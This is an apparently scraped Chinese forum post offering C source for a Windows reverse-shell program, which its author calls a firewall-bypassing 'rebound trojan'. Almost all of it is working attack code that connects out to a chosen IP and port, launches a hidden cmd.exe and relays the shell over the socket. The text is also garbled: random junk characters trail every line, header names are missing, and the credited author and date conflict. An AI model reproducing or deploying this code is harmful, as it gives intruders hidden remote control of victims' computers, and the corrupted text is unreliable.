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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :MIJfr>z  
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/* ============================== =gYKAr^p5  
Rebound port in Windows NT LZ ?z5U:  
By wind,2006/7 *G6Py,- !f  
===============================*/ Vo@gxC,  
#include ^V1iOf:  
#include xlW`4\ Pa  
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#pragma comment(lib,"wsock32.lib") .w .`1 g   
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void OutputShell(); bJ$6[H-:  
SOCKET sClient; oXQzCjX_   
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; R'#1|eWCa  
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void main(int argc,char **argv) iFypKpHg~  
{ \bc ob8u  
WSADATA stWsaData; ks}J ke>  
int nRet; d5hYOhO[  
SOCKADDR_IN stSaiClient,stSaiServer; &m8#^]*  
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if(argc != 3)  dkr[B' n  
{ 8H%-/2NW  
printf("Useage:\n\rRebound DestIP DestPort\n"); WFYbmfmV  
return; AxsTB9/  
} ,?OWwm&J  
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WSAStartup(MAKEWORD(2,2),&stWsaData); gHB*u!w7Z  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); </.9QV  
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stSaiClient.sin_family = AF_INET; 6 G^x%s  
stSaiClient.sin_port = htons(0); Q"@x,8xW  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); e?V7<7$  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^iHwv*ss  
{ t,f)!D$  
printf("Bind Socket Failed!\n"); 'UW(0 PXw  
return; q$<M2  
} \$iU#Z  
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stSaiServer.sin_family = AF_INET; OIqisQ7ZB  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6ojEEM  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  wh A  
*i=+["A  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) FK^JCs^  
{ <fZ?F=  
printf("Connect Error!"); kzK4i!}  
return; &$,%6X"  
} 74h[YyVi  
OutputShell(); qId-v =L  
} -Tzp;o  
{#Lj,o  
void OutputShell() S m%\,/3  
{ +p:?blG  
char szBuff[1024]; (D?%(f  
SECURITY_ATTRIBUTES stSecurityAttributes; #TXN\YNP  
OSVERSIONINFO stOsversionInfo; BeNH"Y:E  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1&Fty'p  
STARTUPINFO stStartupInfo; 4GiHp7Y&A  
char *szShell; w6PKr^  
PROCESS_INFORMATION stProcessInformation; J#```cB  
unsigned long lBytesRead; 5)T=^"IHXi  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^h c&rD)_  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &?#,rEw<x  
stSecurityAttributes.lpSecurityDescriptor = 0; mr4W2Z@L  
stSecurityAttributes.bInheritHandle = TRUE; lJ'. 1Z&  
Q?Y\WD  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {hXIP`  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \e=Iw"yd  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); zm& D #)  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "<#-#j  
stStartupInfo.wShowWindow = SW_HIDE; WRq:xDRn0  
stStartupInfo.hStdInput = hReadPipe; 7jj.maK  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; h6yXW! 8  
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GetVersionEx(&stOsversionInfo); 9i&(VzY[=  
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switch(stOsversionInfo.dwPlatformId) ir72fSe  
{ yR`X3.:*]  
case 1: 9L`5r$/  
szShell = "command.com";  c"pI+Q  
break; z vM=k-Ec  
default: 015 ;'V#we  
szShell = "cmd.exe"; dTE(+M- Gr  
break; \o&\r)FX  
} c7E|GZ2Hc  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); P  -O& X  
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send(sClient,szMsg,77,0); C\Y%FTS:  
while(1) h~!KNF*XW  
{ \z~wm&  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @1`!}.Tk  
if(lBytesRead) o~aK[   
{ ZQ%4]=w  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); oCCTRLb02  
send(sClient,szBuff,lBytesRead,0); #|ppW fZQ  
} <l:c O$ m  
else (O&R-5m  
{ s>RtCw3,  
lBytesRead=recv(sClient,szBuff,1024,0); ^:Mal[IR  
if(lBytesRead<=0) break; +b9gP\Hke  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); W N5`zD$  
} )\k({S  
} z'W8t|m}Pb  
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return; csEF^T-  
}
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